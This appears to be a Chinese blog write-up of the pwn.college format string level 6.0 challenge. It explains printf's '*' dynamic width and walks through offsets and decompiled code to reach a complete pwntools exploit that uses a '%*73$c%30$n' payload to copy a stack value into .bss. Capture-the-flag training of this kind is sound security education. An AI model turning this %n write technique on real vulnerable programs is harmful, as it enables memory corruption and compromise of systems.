pwn.college 格式化字符串漏洞 level6:动态长度读写

字数: 1233

这道题挺奇特,不过 pwn 题奇奇怪怪的多得是……
截取一段程序输出:

is currently stored in a stack variable, and you will have to figure out how to copy it into the .bss.
There are two options: do a leak (using one printf) followed by a write (using a second printf), or use a dynamic padding size, using the * format character, in combination with %n, in a single printf, to copy memory. Since this level only gives you a single printf() call, you will likely need to use the latter. Check the printf man page (in category 3: man 3 printf) for documentation on *.

丢给豆包翻译了下:

该值目前存储在一个栈变量中,你需要设法将其复制到.bss 段中。
有两种实现思路:一是先通过一次 printf 完成数据泄露(leak),再通过第二次 printf 完成数据写入(write);二是利用 * 格式符指定动态填充长度,结合 %n 格式符,在单次 printf 调用中完成内存数据的复制。由于本关卡仅提供一次 printf () 调用机会,你大概率需要采用后一种方法。可查阅 printf 的 3 号手册页(执行命令:man 3 printf),获取关于 * 格式符的官方说明。

这就牵扯到 printf 的 * 格式符。

printf 中的 *

printf 这一类格式化输出函数里,* 的含义是:该字段宽度/精度不在格式字符串里写死,而是从参数列表里再取一个 int

宽度

1
2
3
4
5
6
7
#include <stdio.h>

int main(int argc, char *argv[])
{
    printf("%*d", 5, 20);
    return 0;
}

可见 printf 从第第二个参数:5 取出来作宽度,然后将 20 写入%*d,,可见输出确实宽度就是 5。

精度

1
2
3
4
5
6
7
#include <stdio.h>

int main(int argc, char *argv[])
{
    printf("%.*f", 5, 1.23456789);
    return 0;
}

可见此时精度为 5,且进行了四舍五入。

位置参数

1
2
3
// 两者是等价的
printf("%*d", width, num);
printf("%2$*1$d", width, num);

以上两者是等价的。
在 printf 中,可以通过位置参数 n$ 择取栈上的参数用作宽度标识符。

对于 pwn 来说,可以通过 * 获取填充量并配合 %n 写入地址。

当然还可以用 .* 来控制 %s 读取的长度防止崩溃。

wp

pwn.college 的 Level6.0,题目描述:

Use a format string exploit to copy a value and overwrite a global variable

查看保护:

1
2
3
4
5
6
7
8
Arch:       amd64-64-little
RELRO:      Partial RELRO
Stack:      Canary found
NX:         NX enabled
PIE:        No PIE (0x400000)
SHSTK:      Enabled
IBT:        Enabled
Stripped:   No

和 level5.0 一样。
题目输出上文已经讲过,本题实际就是利用 * 将获取栈上的随机值,通过修改宽度的长度写入到 .bss 地址。

上 ida:
直接进 func()

1
  __int64 v3[69]

v3 为 64 位整形数组。

1
2
  v0 = open("/dev/urandom", 0, v3);
  read(v0, &v3[67], 3u);

这里往 v3[67] 写入 长度为 3 字节的随机数。

1
2
  HIDWORD(v3[8]) = read(0, (char *)&v3[21] + 6, 0x100u);
  *((_BYTE *)&v3[21] + SHIDWORD(v3[8]) + 6) = 0;

v3[21] + 6 写数据,注意这里有偏移量,后续要通过这个偏移量计算随机数位置。

1
  check_win(v3[67]);

这里也很显然随机数存放在 v3[67] 里。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
int __fastcall check_win(__int64 a1)
{
  int v1; // eax

  puts("Checking win value...");
  printf("... desired win value: %#lx\n", a1);
  printf("... written win value: %#lx\n", qword_404128);
  if ( a1 != qword_404128 )
    return puts("... INCORRECT!");
  puts("... SUCCESS! Here is your flag:");
  v1 = open("/flag", 0);
  return sendfile(1, v1, 0, 0x80u);
}

所以这里说明我们要写入 .bss 的地址为 0x404128

首先找出 printf 的偏移量:

1
payload = b'A' * 2 +  b'B' * 8 + b".%p" * 28

这里表明偏移量在 28 位置,而且我们前面有填充了 2 字节,这和前面 read 的时候 +6 有关。

这里可以认为我们填充完写入位置在 v3[22] 且偏移量为 28,而随机在 v3[67] 处。
由 67-22+28=73 得到随机数在偏移量为 73 的位置。
所以我们可以写出 “%*73c” 来获得宽度为随机数的字符串,将该长度写入 0x404128 即可达到目的。
后面补上 “%N$n” 这里 N 还要计算,原本偏移量为 28 要加上 2 个填充量,N 应该是两位数目前有:

1
"%*73$c%NN$naa"

长度为 13 再加上,5 个填充值长度为 18,去掉 2 个填充量。最后可得地址偏移量应该为 28 + 16/8 = 30.
所以 payload 应该为:

1
payload = b"%*73$c%30$naaaaaaa" + p64(0x404128)

完整 exp:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
from pwn import *

context(arch="amd64", os="linux", log_level="info")

io = process("./babyfmt_level6.0")

#payload = b'A' * 2 +  b'B' * 8 + b".%p" * 28
# payload = b'A' * 2 + b'%73$x'
# offset:28 pad:2 secret offset:73
payload = b"%*73$c%30$naaaaaaa" + p64(0x404128)

io.recvuntil(b"Send your data!")
io.send(payload)

io.interactive()